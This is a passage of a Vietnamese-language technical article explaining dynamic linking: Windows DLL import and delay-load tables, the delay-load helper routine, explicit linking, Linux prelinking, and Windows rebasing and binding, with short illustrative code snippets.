&lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;font color="#0000ff"&gt;Cách thức hoạt động&lt;/font&gt;&lt;/strong&gt; &lt;br&gt;&lt;br&gt;Nạp một thực thi Windows và DDL cũng tương tự như nạp một chương trình ELF liên kết động trong Linux. Sự khác nhau là, ở đây mối liên kết là một phần của bản thân nhân kernel. Đầu tiên nhân kernel sẽ bản đồ hoá một thực thi dẫn bởi tiêu đề của PE. Bộ nạp xem xét IAT của modul và do tìm xem liệu DDL có phụ thuộc vào phần thêm DDLs hay không. Nếu có thì bộ nạp cũng bản đồ hoá chúng. Tiến trình này tiếp tục cho đến khi tất cả modul phụ thuộc đã được bản đồ hoá vào bộ nhớ. &lt;br&gt;&lt;br&gt;Một hàm nhập có thể được lập danh sách theo tên hoặc theo số thứ tự. Thứ tự thể hiện vị trí của nó trong Bảng địa chỉ xuất khẩu DDL. Nếu lập danh sách bằng tên, bộ nạp thực hiện cuộc tìm kiếm nhị phân trong Bảng con trỏ tên xuất khẩu của DDL tương ứng để tra tìm chỉ mục của ký tự đã biết. Sau đó nó dùng chỉ mục này như là chỉ mục trong Bảng thứ tự xuất khẩu để lấy ra thứ tự. Sau đó thứ tự này trả ra giá trị được dùng như chỉ mục trong Bảng địa chỉ xuất khẩu. Việc thêm RVA của ký tự tìm thấy trong bảng EAT thành địa chỉ nạp của DDL tương ứng tạo ra điạ chỉ tuyệt đối mà bộ nạp ghi trong mục tương ứng của bảng IAT. &lt;br&gt;&lt;br&gt;&lt;strong&gt;Nạp trễ trong Windows&lt;/strong&gt; &lt;br&gt;&lt;br&gt;Một DDL nạp trễ có cấu trúc &lt;em&gt;ImgDelayDescr&lt;/em&gt; tương tự cấu trúc thư mục nhập khẩu .idata, nhưng nó không nằm trong phân đoạn .idata. ImgDelayDescr bao gồm điạ chỉ của một IAT và một INT cho DDL. Những bảng này giống hệt định dạng của các bảng nhập thông thường khác. Nhưng chúng được ghi và đọc bởi mã thư viện thời gian thực hơn là bởi hệ điều hành. Khi lần đầu tiên bạn gọi một API từ một DDL nạp trễ, thư viện thời gian thực nạp DDL (nếu cần), lấy địa chỉ và lưu trữ nó trong IAT nạp trễ để sau này gọi trực tiếp tới API. &lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;font color="#0000ff"&gt;Sơ bộ về Windows lazy linking procedure&lt;/font&gt;&lt;/strong&gt; &lt;br&gt;&lt;br&gt;Trong phần này chúng ta sẽ nói về mối liên kết thực hiện định nghĩa cho địa chỉ hàm trong một DDL nạp trễ như thế nào, cũng như ngữ nghĩa của việc tạo các cuộc gọi hàm, nơi hàm được định nghĩa trong DDL. &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="center"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;&lt;font color="#3366ff"&gt;&lt;em&gt;&lt;img src="http://www.quantrimang.com/photos/Image/082006/24/Dynamic-Linking7.jpg" alt="" border="1" vspace="3"&gt;&lt;br&gt;Hình 7.&lt;/em&gt; Mối liên kết giải quyết địa chỉ hàm trong một DDL nạp trễ.&lt;/font&gt; &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;Trong trường hợp trên &lt;em&gt;fndll1()&lt;/em&gt; được định nghĩa bên trong &lt;em&gt;d111(delay load)&lt;/em&gt; và &lt;em&gt;fndll2&lt;/em&gt; được định nghĩa bên trong &lt;em&gt;d112&lt;/em&gt;. Nếu bạn chú ý các khai báo, &lt;em&gt;fndll1()&lt;/em&gt; đã được khai báo rõ ràng là &lt;em&gt;__declspec(dllimport)&lt;/em&gt;. Bộ sửa đổi hàm &lt;em&gt;__declspec(dllimport)&lt;/em&gt; nói rằng trình biên dịch mà hàm đang cư trú nằm trong một DDL khác. Trình biên dịch cần mã &lt;em&gt;CALL DWORD PTR [xxxx] clue&lt;/em&gt; và &lt;em&gt;generate&lt;/em&gt;, trong đó &lt;em&gt;[xxxx]&lt;/em&gt; là một mục trong bảng IAT. &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="center"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;&lt;font color="#3366ff"&gt;&lt;em&gt;&lt;img src="http://www.quantrimang.com/photos/Image/082006/24/Dynamic-Linking8.jpg" alt="" border="1" vspace="3"&gt;&lt;br&gt;Hình 8.&lt;/em&gt; Trình biên dịch tạo mã CALL DWORD PTR [xxxx], trong đó xxxx là một điểm vào trong IAT.&lt;/font&gt; &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;Trong trường hợp của &lt;em&gt;fndll2()&lt;/em&gt;, trình biên dịch đưa ra một lệnh gọi với dạng &lt;em&gt;CALL xxxxx&lt;/em&gt;, trong đó &lt;em&gt;xxxxx&lt;/em&gt; trỏ tới một gốc. Kêt quả là một làm mất thêm thời gian để thực thi. &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="center"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;&lt;font color="#3366ff"&gt;&lt;em&gt;&lt;img src="http://www.quantrimang.com/photos/Image/082006/24/Dynamic-Linking9.jpg" alt="" border="1" vspace="3"&gt;&lt;br&gt;Hình 9.&lt;/em&gt; Lệnh nhảy thêm làm mất thêm thời gian để thực thi&lt;/font&gt; &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;Như đã chỉ ra trong hình 8, &lt;em&gt;fndll1()&lt;/em&gt; gọi một kết quả trong &lt;em&gt;CALL DWORD PTR[0x412760]&lt;/em&gt;. Sau đó &lt;em&gt;0x412760&lt;/em&gt; là điạ chỉ của điểm vào đầu tiên trong bảng địa chỉ &lt;em&gt;Delayimport&lt;/em&gt; như được chỉ ra trong hình 10: &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="center"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;&lt;font color="#3366ff"&gt;&lt;em&gt;&lt;img src="http://www.quantrimang.com/photos/Image/082006/24/Dynamic-Linking10.jpg" alt="" border="1" vspace="3"&gt;&lt;br&gt;Hình 10.&lt;/em&gt; Tìm kiếm địa chỉ của đỉêm vào đầu tiên trong bảng Delayimport.&lt;/font&gt; &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;Điểm vào này trỏ tới một thường trình giúp đỡ tìm và nạp trong DDL và sau đó thay thế nội dung của bảng địa chỉ bằng địa chỉ thực. &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="center"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;&lt;font color="#3366ff"&gt;&lt;em&gt;&lt;img src="http://www.quantrimang.com/photos/Image/082006/24/Dynamic-Linking11.jpg" alt="" border="1" vspace="3"&gt;&lt;br&gt;Hình 11.&lt;/em&gt;&lt;/font&gt; &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="center"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;&lt;em&gt;&lt;font color="#3366ff"&gt;&lt;img src="http://www.quantrimang.com/photos/Image/082006/24/Dynamic-Linking12.jpg" alt="" border="1" vspace="3"&gt;&lt;br&gt;Hình 12.&lt;/font&gt;&lt;/em&gt; &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;Như bạn có thể thấy ở trên, địa chỉ 0x412760 được trỏ trước 0x40104b, là địa chỉ của thường trình giúp đỡ, bị bộ nạp ghi đè thành 0x351070, điạ chỉ của fndll1 như hình 13 sau: &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="center"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;&lt;font color="#3366ff"&gt;&lt;em&gt;&lt;img src="http://www.quantrimang.com/photos/Image/082006/24/Dynamic-Linking13.jpg" alt="" border="1" vspace="3"&gt;&lt;br&gt;Hình 13.&lt;/em&gt; Địa chỉ thường trình giúp đỡ bị ghi đè.&lt;/font&gt; &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;&lt;strong&gt;&lt;font color="#0000ff"&gt;Bên trong trình giúp đỡ nạp trễ&lt;/font&gt;&lt;/strong&gt; &lt;br&gt;&lt;br&gt;Windows cho phép bạn nạp thêm thường trình giúp đỡ nạp trễ của riêng bạn. Bây giờ chúng ta sẽ tìm hiểu đặc trưng bên trong của thường trình giúp đỡ. Các bạn nên chú ý sự tương tự của thủ tục liên kết lười biếng với phần đếm của nó trong Linux. &lt;br&gt;&lt;br&gt;Hãy bắt đầu bằng việc nhìn lại hình 9. Nếu bạn chú ý, bạn có thể thấy mối liên kết thêm vào hai kiểu stub (gốc). Một kiểu là &lt;em&gt;__imp_load_(function name)&lt;/em&gt;, và kiểu kia là &lt;em&gt;__tailmerge_(dllname)&lt;/em&gt;. Như đã thấy từ quy ước đặt tên, kiểu đầu tiên của stub được tạo ra trên từng API, cho DDL, và kiểu thứ hai là trên từng DDL. &lt;br&gt;&lt;br&gt;Trong hình 9, câu lệnh thực hiện một lệnh nhảy tới &lt;em&gt;stub__imp_load_(function name)&lt;/em&gt; qua Bảng địa chỉ nhập trễ. Trong stub, câu lệnh đầu tiên là: &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;br /&gt;&lt;table align="center" border="1" cellpadding="5" cellspacing="0" width="95%"&gt;&lt;br /&gt;    &lt;tbody&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000" face="Courier New" size="2"&gt;Mov eax,offset __imp_fndll1&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;    &lt;/tbody&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;Câu lệnh này di chuyển địa chỉ điểm vào thứ 0 của bảng IAT Delay. (Chú ý rằng đây là điạ chỉ Thường Trình Giúp Đỡ phải cập nhật địa chỉ tuyệt đối). Câu lệnh tiếp theo là lệnh nhảy tới stub cụ thể &lt;em&gt;__tailmerge_(dllname)&lt;/em&gt;. Trong &lt;em&gt;__tailmerge_ stub&lt;/em&gt;, sau khi giữ các thanh ghi ecx và edx, nó thực hiện một lệnh push (đẩy) của thanh ghi eax. Câu lệnh tiếp theo sẽ là: &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;br /&gt;&lt;table align="center" border="1" cellpadding="5" cellspacing="0" width="95%"&gt;&lt;br /&gt;    &lt;tbody&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000" face="Courier New" size="2"&gt;Push offset __DELAY_IMPORT_DESCRIPTOR_Dll1&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;    &lt;/tbody&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;Câu lệnh này đẩy địa chỉ của cấu trúc &lt;em&gt;ImgDelayDescr&lt;/em&gt; trong DDL1. Cấu trúc dữ liệu được định nghĩa trong &lt;em&gt;DELAYIMP.h&lt;/em&gt;. &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;br /&gt;&lt;table align="center" border="1" cellpadding="5" cellspacing="0" width="95%"&gt;&lt;br /&gt;    &lt;tbody&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000" face="Courier New" size="2"&gt;typedef struct ImgDelayDescr { &lt;br&gt;&amp;nbsp;&amp;nbsp; DWORD grAttrs;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // attributes &lt;br&gt;&amp;nbsp;&amp;nbsp; LPCSTR szName;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // pointer to dll name &lt;br&gt;&amp;nbsp;&amp;nbsp; HMODULE * phmod;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // address of module handle &lt;br&gt;&amp;nbsp;&amp;nbsp; PImgThunkData pIAT;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // address of the IAT &lt;br&gt;&amp;nbsp;&amp;nbsp; PCImgThunkData pINT;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // address of the INT &lt;br&gt;&amp;nbsp;&amp;nbsp; PCImgThunkData pBoundIAT;&amp;nbsp;&amp;nbsp;&amp;nbsp;// address of the optional bound IAT &lt;br&gt;&amp;nbsp;&amp;nbsp; PCImgThunkData pUnloadIAT;&amp;nbsp;&amp;nbsp;// address of optional copy of original IAT &lt;br&gt;&amp;nbsp;&amp;nbsp; DWORD dwTimeStamp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;// 0 if not bound, &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // O.W. date/time stamp of DLL bound to (Old BIND) &lt;br&gt;&amp;nbsp;&amp;nbsp; } ImgDelayDescr, * PImgDelayDescr; &lt;br&gt;&lt;br&gt;typedef const ImgDelayDescr * PCImgDelayDescr; &lt;/font&gt;&lt;/td&gt;&lt;br /&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;    &lt;/tbody&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;Bây giờ chương trình hàm thực hiện một lệnh nhảy tới Thường Trình Giúp Đỡ với các giá trị trong ngăn xếp là các đối số. Từ giờ trở đi chúng ta sẽ xem xét vấn đề dựa trên mã giúp đỡ được định nghĩa trong &lt;em&gt;DELAYHLP.CPP&lt;/em&gt;: &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;br /&gt;&lt;table align="center" border="1" cellpadding="5" cellspacing="0" width="95%"&gt;&lt;br /&gt;    &lt;tbody&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000" face="Courier New" size="2"&gt;__delayLoadHelper(PCImgDelayDescr pidd, FARPROC * ppfnIATEntry)&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;    &lt;/tbody&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;Bộ Giúp Đỡ Tải Trễ đầu tiên cố gắng lấy quyền điều khiển modul từ &lt;em&gt;ImgDelayDescr.&lt;/em&gt; &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;br /&gt;&lt;table align="center" border="1" cellpadding="5" cellspacing="0" width="95%"&gt;&lt;br /&gt;    &lt;tbody&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000" face="Courier New" size="2"&gt;//Tính toán chỉ mục hàm, là một chỉ mục hàm trong IAT. &lt;br&gt;iINT = IndexFromPImgThunkData(PCImgThunkData(ppfnIATEntry), pidd-&amp;gt;pIAT);&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;    &lt;/tbody&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;Như đã nói trước đây IAT và INT là hai cấu trúc song song: &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;br /&gt;&lt;table align="center" border="1" cellpadding="5" cellspacing="0" width="95%"&gt;&lt;br /&gt;    &lt;tbody&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000" face="Courier New" size="2"&gt;//Dùng chỉ mục hàm để trỏ tới chỉ mục tương ứng ở INT. &lt;br&gt;&amp;nbsp;&amp;nbsp; PCImgThunkData pitd = &amp;amp;((pidd-&amp;gt;pINT)[iINT]); &lt;br&gt;//Lấy tên hàm hay thứ tự từ INT phụ thuộc xem liệu bit thiết lập cao hơn đã được nói chưa. &lt;br&gt;if (dli.dlp.fImportByName = ((pitd-&amp;gt;u1.Ordinal &amp;amp; IMAGE_ORDINAL_FLAG) == 0)) { &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; dli.dlp.szProcName = LPCSTR(pitd-&amp;gt;u1.AddressOfData-&amp;gt;Name); &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } &lt;br&gt;&amp;nbsp;&amp;nbsp; else { &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; dli.dlp.dwOrdinal = IMAGE_ORDINAL(pitd-&amp;gt;u1.Ordinal); &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } &lt;br&gt;&lt;br&gt;If (hmodule =0) //the first time &lt;br&gt;&amp;nbsp; { &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; // Nạp thư viện &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; // Sao chép quyền điều khiển biến số mở rộng&amp;nbsp;(Call Free library() &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; // Nếu mối đe doạ khác ở đó trước chúng ta) &lt;br&gt;&amp;nbsp; } &lt;/font&gt;&lt;/td&gt;&lt;br /&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;    &lt;/tbody&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;Bây giờ chúng ta phải tìm địa chỉ của chương trình con thủ tục bằng cách gọi hàm &lt;em&gt;GetProcAddress()&lt;/em&gt;, như đã đề cập ở trên trong phần giải thích “&lt;strong&gt;Cách thức hoạt động&lt;/strong&gt;”. &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;br /&gt;&lt;table align="center" border="1" cellpadding="5" cellspacing="0" width="95%"&gt;&lt;br /&gt;    &lt;tbody&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000" face="Courier New" size="2"&gt;pfnRet = ::GetProcAddress(hmod, dli.dlp.szProcName);&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;    &lt;/tbody&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;Chúng ta cập nhật điểm vào IAT với địa chỉ: &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;br /&gt;&lt;table align="center" border="1" cellpadding="5" cellspacing="0" width="95%"&gt;&lt;br /&gt;    &lt;tbody&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000" face="Courier New" size="2"&gt;*ppfnIATEntry = pfnRet; &lt;br&gt;//Quay lại __tail_merge_dll1&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;    &lt;/tbody&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;Bây giờ thanh ghi eax chứa giá trị trả về là các địa chỉ hàm tuyệt đối, cuối cùng mã lệnh thực hiện: &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;br /&gt;&lt;table align="center" border="1" cellpadding="5" cellspacing="0" width="95%"&gt;&lt;br /&gt;    &lt;tbody&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000" face="Courier New" size="2"&gt;Jmp eax // nhảy tới hàm.&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;    &lt;/tbody&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;&lt;strong&gt;&lt;font color="#0000ff"&gt;Liên kết động Explicit &lt;br&gt;&lt;/font&gt;&lt;/strong&gt;&lt;br&gt;Cả Linux và Windows đều cung cấp các thường trình (chẳng hạn &lt;em&gt;dlopen()&lt;/em&gt; và &lt;em&gt;dlsym()&lt;/em&gt; trong Linux, &lt;em&gt;LoadLibrary()&lt;/em&gt;, &lt;em&gt;GetProcAddress()&lt;/em&gt; trong Windows) để nạp dứt khoát một thư viện và tìm địa chỉ của thường trình trong thư viện đó. Các thường trình này chỉ là các trình bao bọc, trả ra lời gọi thường trình liên kết động đã được gọi trước đó trong thời gian thực hiện liên kết ẩn qua PLT hay IAT. &lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;font color="#0000ff"&gt;Tăng tốc độ - Thư viện chia sẻ liên kết tĩnh&lt;/font&gt;&lt;/strong&gt; &lt;br&gt;&lt;br&gt;Thư viện chia sẻ trong thực tế có thể rất chậm. Sự giảm sút trong quá trình thực thi diễn ra chủ yếu do chế độ nạp thời gian thực và liên kết địa chỉ, không trực tiếp tham chiếu tới địa chỉ thường trình qua các bảng trực tiếp và việc dành riêng các thanh ghi máy cho các bảng này. Ngày nay, với không gian điạ chỉ lớn, có thể ghép nối một thư viện với một đoạn không gian địa chỉ tại thời gian liên kết và cũng giải quyết vấn đề tham chiếu địa chỉ. Nếu không gian địa chỉ đã sẵn sàng tại thời gian chạy, việc định vị lại địa chỉ có thể tránh khỏi. Các thư viện, nơi các địa chỉ chương trình và dữ liệu được ghép nối để thực thi trong thời gian chạy dược xem như là các thư viện liên kết tĩnh. &lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;font color="#0000ff"&gt;Prelinking trong Linux&lt;/font&gt;&lt;/strong&gt; &lt;br&gt;&lt;br&gt;Gilbc là một thư viện chia sẻ trong Linux có thể thực hiện liên kết tĩnh. Với các tuỳ chọn khác, Linux thay thế bằng việc dùng một khái niệm tương tự gọi là prelinking. Một prelink gán một rãnh địa chỉ ảo đơn nhất cho từng thư viện thực thi phụ thuộc và liên kết lại thư viện với địa chỉ cơ sở. &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="center"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;&lt;font color="#3366ff"&gt;&lt;em&gt;&lt;img src="http://www.quantrimang.com/photos/Image/082006/24/Dynamic-Linking14.jpg" alt="" border="1" vspace="3"&gt;&lt;br&gt;Hình 14.&lt;/em&gt; Danh sách thư viện&lt;/font&gt; &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;Nếu bạn kết xuất một thực thi prelink hay một thư viện chia sẻ, bạn sẽ phải chú ý tới sự thay đổi trong định dạng của relocation (xác định lại vị trí). Thông thường kiến trúc IA-32 chỉ dùng định dạng REL, trong đó phần phu chú của relocation chỉ được lưu trữ tại địa chỉ offset. Chỉ trường hợp bạn có thể thấy một phân đoạn RELA dạng IA-32 thì nó mới ở đó. &lt;br&gt;&lt;br&gt;Từ khi các thư viện chia sẻ prelink được dùng, thậm chí trong những thực thi non-prelinked, thông tin phụ chú đã được lưu giữ lại. Để làm điều này, một prelink chuyển phân đoạn .rel.dyn thành dạng RELA. Prelink tránh thực hiện điều này trong trường hợp các phụ chú là 0 bằng cách thay đổi kiểu định vị lại vị trí thành &lt;em&gt;R_386_GLOB_DAT&lt;/em&gt;. &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="center"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;&lt;font color="#3366ff"&gt;&lt;em&gt;&lt;img src="http://www.quantrimang.com/photos/Image/082006/24/Dynamic-Linking15.jpg" alt="" border="1" vspace="3"&gt;&lt;br&gt;Hình 15.&lt;/em&gt; Duy trì thông tin phụ chú.&lt;/font&gt; &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;Tiện ích prelink cũng tạo ra một danh sách các xung đột trong quá trình thực hiện và lưu trữ nó bên trong thực thi. Văn bản ELF mổ tả các ký tự không được định nghĩa trong thư viện chia sẻ phải được tìm kiếm đầu tiên trong chương trình thực thi chính, sau đó mới tìm kiếm trong các thư viện chia sẻ cần thiết. Không phải tất cả các ký tự đều được tìm như nhau trong pham vi tìm kiếm của một thư viện chia sẻ (chỉ thực hiện khi thư viện chia sẻ là prelink) hay trong phạm vi tìm kiếm ký tự mở rộng. Cả các ký tự cũng được gọi là các xung đột ví định vị lại vị trí các ký tự đó gây ra xung đột vị trí. &lt;br&gt;&lt;br&gt;Các vị trí định vị lại bị xung đột được để vào một phân đoạn RELA riêng biệt trong một thực thi. Trong trường hợp này Sym.name + phụ chú sẽ gồm địa chỉ thực của biến xung đột (nếu không sẽ xem xét dến khía cạnh phạm vi mở rộng của thực thi). &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="center"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;&lt;font color="#3366ff"&gt;&lt;em&gt;&lt;img src="http://www.quantrimang.com/photos/Image/082006/24/Dynamic-Linking16.jpg" alt="" border="1" vspace="3"&gt;&lt;br&gt;Hình 16.&lt;/em&gt; Giải quyết xung đột.&lt;/font&gt; &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;Trong thời gian chạy đầu tiên liên kết động kiểm tra xem liệu tất cả các thư viện phụ thuộc đã được bản đồ hoá thành công vào các rãnh không gian địa chỉ chỉ định của chúng hay chưa. Và liệu chúng có thay đổi từ khi quá trình prelinking làm việc hay không. Nếu là có, các prelinker chỉ phải thực hiện một vài điều chỉnh được định nghĩa trong danh sách xung đột đã được tạo ra trước đó. &lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;font color="#0000ff"&gt;Rebasing (cơ sở lại) và binding (ghép nối) trong Windows&lt;/font&gt;&lt;/strong&gt; &lt;br&gt;&lt;br&gt;Tương quan lại các vấn đề trong Windows, Windows DLL dùng các khái niệm cơ sở lại (rebasing) và ghép nối (bounding). Mọi chương trình thực thi và modul DLL đều có một địa chỉ cơ sở ưu tiên để nhận dạng địa chỉ mà modul đã bản đồ hóa trong không gian địa chỉ tiến trình. Chẳng hạn với một chương trình thực thi, giá trị mặc định là &lt;em&gt;0x00400000&lt;/em&gt; và cho một DDL là &lt;em&gt;0x10000000&lt;/em&gt;. Điều này có nghĩa nếu thực thi được liên kết với hai DDL, một trong số chúng sẽ phải định vị lại vị trí trong bộ nhớ. Để tránh điều này, bạn có thể cơ sở lại DDL của bạn bằng cách cho nó một địa chỉ ưu tiên tại thời gian biên dịch. Bạn có thể làm điều này bằng cách chuyển hay cơ sở lại địa chỉ sang các tuỳ chọn project. &lt;br&gt;&lt;br&gt;Như chúng ta đã thấy chương trình thực thi win32 có hai bảng phân biệt bao gồm các thông tin cần thiết để tìm hàm quan trọng - bảng Import Name và bảng Import Lookup. Bộ nạp chỉ đòi hỏi thêm một bản sao chép. Nối 